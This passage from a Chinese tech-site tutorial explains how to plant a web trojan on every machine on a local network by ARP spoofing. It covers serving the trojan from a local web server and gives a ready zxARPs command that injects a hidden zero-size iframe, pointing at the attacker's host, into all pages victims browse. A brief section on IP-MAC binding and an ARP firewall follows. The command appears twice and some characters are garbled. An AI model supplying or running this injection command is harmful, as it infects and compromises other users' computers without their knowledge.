局域網(wǎng)ARP欺騙掛馬方式詳細(xì)講解
您當(dāng)前位置：首頁(yè) > 紅訊頻道 > 網(wǎng)絡(luò)技術(shù)
紅軟基地 推薦
2012-01-20
第三步：開(kāi)啟本機(jī)Http服務(wù)
要讓局域網(wǎng)中的其他主機(jī)能夠訪問(wèn)到我們的網(wǎng)馬，就要開(kāi)啟本機(jī)的Http服務(wù)。下載baby web server，這是一款簡(jiǎn)單的Web服務(wù)器軟件，下載后直接運(yùn)行，在其主界面中點(diǎn)擊“服務(wù)→設(shè)置”。
將“網(wǎng)頁(yè)目錄”設(shè)置為網(wǎng)頁(yè)木馬所在的地方，例如C盤(pán)根目錄“C:/“。點(diǎn)“確定”回主界面，然后再點(diǎn)“Start”按鈕開(kāi)啟本機(jī)的Http服務(wù)(圖3)。記得要將木馬服務(wù)端和網(wǎng)頁(yè)木馬放到C盤(pán)根目錄。
按鈕開(kāi)啟本機(jī)的Http服務(wù)
第四步：局域網(wǎng)掛馬
最后該請(qǐng)我們的主角出場(chǎng)了，就是上文中提到的小工具，這個(gè)工具叫zxARPs，是一個(gè)通過(guò)ARP欺騙實(shí)現(xiàn)局域網(wǎng)掛馬的工具。在使用zxARPs前我們要安裝WinPcap，它是網(wǎng)絡(luò)底層驅(qū)動(dòng)包，沒(méi)有它zxARPs就運(yùn)行不了。
安裝好后將zxARPs放到任意目錄，然后運(yùn)行“命令提示符”，進(jìn)入zxARPs所在的目錄，然后輸入命令：zxARPs.exe -idx 0 -ip 192.168.0.1-192.168.0.255 -port 80 -insert "<iframe src="http://192.168.0.2/hackll.htm" width="0" height="0"></iframe>
安裝好后將zxARPs放到任意目錄，然后運(yùn)行“命令提示符”，進(jìn)入zxARPs所在的目錄，然后輸入命令：zxARPs.exe -idx 0 -ip 192.168.0.1-192.168.0.255 -port 80 -insert "<iframe src='http://192.168.0.2/hackll.htm' width=0 height=0>"。回車后掛馬就成功了。
從現(xiàn)在開(kāi)始，局域網(wǎng)中的用戶無(wú)論訪問(wèn)什么網(wǎng)站，都會(huì)運(yùn)行我們的網(wǎng)頁(yè)木馬，因?yàn)閦xARPs在用戶打開(kāi)網(wǎng)頁(yè)的同時(shí)已經(jīng)將掛馬代碼插入到正常網(wǎng)頁(yè)中了。
ARP掛馬防范技巧
從上文可見(jiàn)zxARPs的功能真的十分強(qiáng)大，但它畢竟是基于ARP欺騙原理的，只要局域網(wǎng)內(nèi)的主機(jī)能夠抵御ARP欺騙攻擊，就可以完全無(wú)視zxARPs的掛馬方法。
網(wǎng)管將局域網(wǎng)內(nèi)所有的主機(jī)的IP地址和MAC地址進(jìn)行綁定即可搞定。我們也可以下載“360ARP防火墻”來(lái)抵御ARP欺騙攻擊(下載地址http://www2.cpcw.com/bzsoft)，安裝完成后點(diǎn)擊界面上的“開(kāi)啟”按鈕就可以讓它保護(hù)我們免受ARP欺騙的攻擊了(圖4)。這時(shí)如果有人對(duì)你的主機(jī)進(jìn)行ARP欺騙攻擊，我們?cè)诳梢渣c(diǎn)擊“記錄”按鈕，查看攻擊者的IP地址。
開(kāi)啟ARP保護(hù)
編輯點(diǎn)評(píng)：ARP欺騙可以實(shí)現(xiàn)多種攻擊效果，本文介紹ARP欺騙掛馬的只是其中的一種攻擊方式，此外還有信息嗅探，主機(jī)網(wǎng)絡(luò)限制等攻擊方法�？梢�(jiàn)，ARP欺騙是局域網(wǎng)的頭號(hào)大敵。因此我們?cè)谄綍r(shí)的安全防范中，不僅要做好本機(jī)的安全工作，還要對(duì)局域網(wǎng)的安全作一定的防御，這樣才能更安全地使用電腦
來(lái)源：紅訊頻道